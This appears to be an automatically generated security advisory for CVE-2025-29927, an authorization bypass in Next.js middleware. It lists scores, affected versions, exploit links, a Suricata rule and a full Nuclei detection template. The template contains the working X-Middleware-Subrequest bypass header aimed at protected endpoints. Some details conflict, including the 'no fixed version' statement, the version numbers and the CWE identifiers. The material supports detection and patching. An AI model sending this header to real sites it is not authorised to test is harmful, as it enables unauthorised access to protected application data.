CVE-2025-29927: Authorization Bypass in Next.js Middleware
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description quoted from the CVE record (assigned by GitHub_M, published 2025-03-21).
Weakness: CWE-285: Improper Authorization
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Also known as: BDU:2025-03185, CNNVD-202503-2583, CNVD-2025-05716, EDB-52124, EUVD-2025-7243, EUVD-2025-9629, GHSA-223j-4rm8-mrmf, GHSA-f82v-jwr5-mffw, GHSA-mr6q-rp88-fx84, SNYK-CENTOS8-FIREFOX-9637401, SNYK-CENTOS9-FIREFOX-9636689, SNYK-CHAINGUARDLATEST-JITSUCOMJITSU-9511581, SNYK-JS-NEXT-9508709, SNYK-JS-NEXT-9634163, SNYK-RHEL9-FIREFOXX11-9636674
VEDAS cluster: VEDAS:ARCHANGELAXIOM
Exploit Observer links 159 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (159)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/52124
- Exploit-DB: https://www.exploit-db.com/raw/52124
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/headless/cves/2025/CVE-2025-29927-HEADLESS.yaml
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-29927.yaml
- Code repository: https://github.com/0xb1lal/cve-2025-29927
- Code repository: https://github.com/0xcucumbersalad/cve-2025-29927
- Code repository: https://github.com/0xh3g4z1/cve-2025-29927-next.js-middleware-authorization-bypass
- Code repository: https://github.com/0xnxt1me/cve-2025-29927
- Code repository: https://github.com/0xpb1/next.js-cve-2025-29927
- Code repository: https://github.com/0xpr4bin/vulnerable-next_js_cve-2025-29927
- Code repository: https://github.com/0xpthree/next.js_cve-2025-29927
- Code repository: https://github.com/0xwhoknows/cve-2025-29927
- and 147 more
Research and write-ups (18)
- Research or write-up: https://infosecwriteups.com/how-hackers-exploit-cve-2025-29927-in-next-js-like-a-pro-9997f48ed7ce?source=rss----7b722bfd1b8d---4
- Research or write-up: https://infosecwriteups.com/next-js-cve-2025-29927-tryhackme-writeup-68d5cc6859a3?source=rss----7b722bfd1b8d---4
- Research or write-up: https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass
- Research or write-up: https://neoxs.me/blog/critical-nextjs-middleware-vulnerability-cve-2025-29927-authentication-bypass
- Research or write-up: https://nextjs.org/blog/cve-2025-29927
- Research or write-up: https://patrowl.io/en/actualites/cve-2025-29927-next-js
- Research or write-up: https://pentest-tools.com/blog/cve-2025-29927-next-js-bypass
- Research or write-up: https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927
- Research or write-up: https://thedefendopsdiaries.com/understanding-and-mitigating-cve-2025-29927-a-critical-nextjs-vulnerability
- Research or write-up: https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-29927
- Research or write-up: https://www.assetnote.io/resources/research/doing-the-due-diligence-analyzing-the-next-js-middleware-bypass-cve-2025-29927
- Research or write-up: https://www.assetnote.io/resources/research/doing-the-due-diligence-analyzing-the-next-js-middleware-bypass-cve-2025-29927?utm_source=blog.criticalthinkingpodcast.io&utm_medium=referral&utm_campaign=hackernotes-ep-116-auth-bypasses-and-google-vrp-writeups
- and 6 more
Vulnerability databases and vendor advisories (23)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2025-29927
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-7243
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-9629
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-223j-4rm8-mrmf
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-f82v-jwr5-mffw
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-mr6q-rp88-fx84
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-29927
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2025-29927
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-223j-4rm8-mrmf
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-f82v-jwr5-mffw
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-f82v-jwr5-mffw
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-mr6q-rp88-fx84
- and 11 more
3494 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.992
very likely to be attacked soon - VEDAS
- 0.986
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| vercel next.js | version >= 11.1.4, < 12.3.5 version >= 14.0.0, < 14.2.25 version >= 15.0.0, < 15.2.3 version >= 13.0.0, < 13.5.9 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: vercel next.js.
How to fix it
No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.
How to detect it
Nuclei template (active check)
Nextjs - Authentication Bypass
Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.
Name and description quoted from the template, written by VEDAS.
The template sends 5 requests (GET /, GET /, GET /, GET {{endpoints}} and 1 more); it decides using dsl, regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2025-29927.yamlShow the template (131 lines)
id: CVE-2025-29927
info:
name: "Nextjs - Authentication Bypass"
author: vedas-arpsyndicate
severity: critical
description: |
Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to
versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js
application, if the authorization check occurs in middleware.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-29927&match=exact
- https://subdomain.center/?engine=ammonites&keyword=nextjs&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2025-29927
cwe-id: CWE-287
metadata:
verified: false
tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln
flow: |
let base_check = function () {
return http(1) && http(2);
};
let endpoint_check = function () {
if (!http(3)) return false;
for (let endpoint_urls of iterate(template.endpoints)) {
set("endpoints", endpoint_urls);
if (!(http(4) && http(5))) return false;
}
return true;
};
base_check() || endpoint_check()
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Nextjs-Data: 1
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite):"
internal: true
- type: regex
part: header
regex:
- "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite|location): .*(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)"
internal: true
- type: status
status:
- 307
internal: true
extractors:
- type: regex
name: redirect_path
part: header
regex:
- "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Nextjs-Data: 1
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Request Rejected"
- "The requested URL was rejected"
- "Your support ID is"
- "Access Denied"
- "Request Blocked"
negative: true
- type: status
status:
- 200
- method: GET
path:
- "{{BaseURL}}"
redirects: true
extractors:
- type: regex
name: endpoints
part: body
group: 1
regex:
- "href=['\"](\\/[^\\.\"']+)['\"]"
internal: true
- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
matchers:
- type: dsl
dsl:
- contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
- contains_any(to_lower(location), 'unauthorized') && status_code != 200
internal: true
- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
headers:
X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "!contains_any(to_lower(body), 'request rejected', 'your support id', 'access denied', 'request blocked')"
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-29927 Nextjs - Authentication Bypass. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-29927 Nextjs - Authentication Bypass"; flow:established,to_client; file.data; content:"Request Rejected"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-29927; reference:url,https://www.exploit.observer/?keyword=CVE-2025-29927&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=nextjs&match=exact; sid:1011493; rev:1;)
CVE-2025-29927.rules on GitHub
Advisories on this CVE
- Next.js middleware authorization bypass (CVE-2025-29927) (21 Mar 2025)
References
Other references
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw (x_refsource_CONFIRM)
- https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2 (x_refsource_MISC)
- https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48 (x_refsource_MISC)
- https://github.com/vercel/next.js/releases/tag/v12.3.5 (x_refsource_MISC)
- https://github.com/vercel/next.js/releases/tag/v13.5.9 (x_refsource_MISC)
- http://www.openwall.com/lists/oss-security/2025/03/23/3
- http://www.openwall.com/lists/oss-security/2025/03/23/4
- https://security.netapp.com/advisory/ntap-20250328-0002/
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.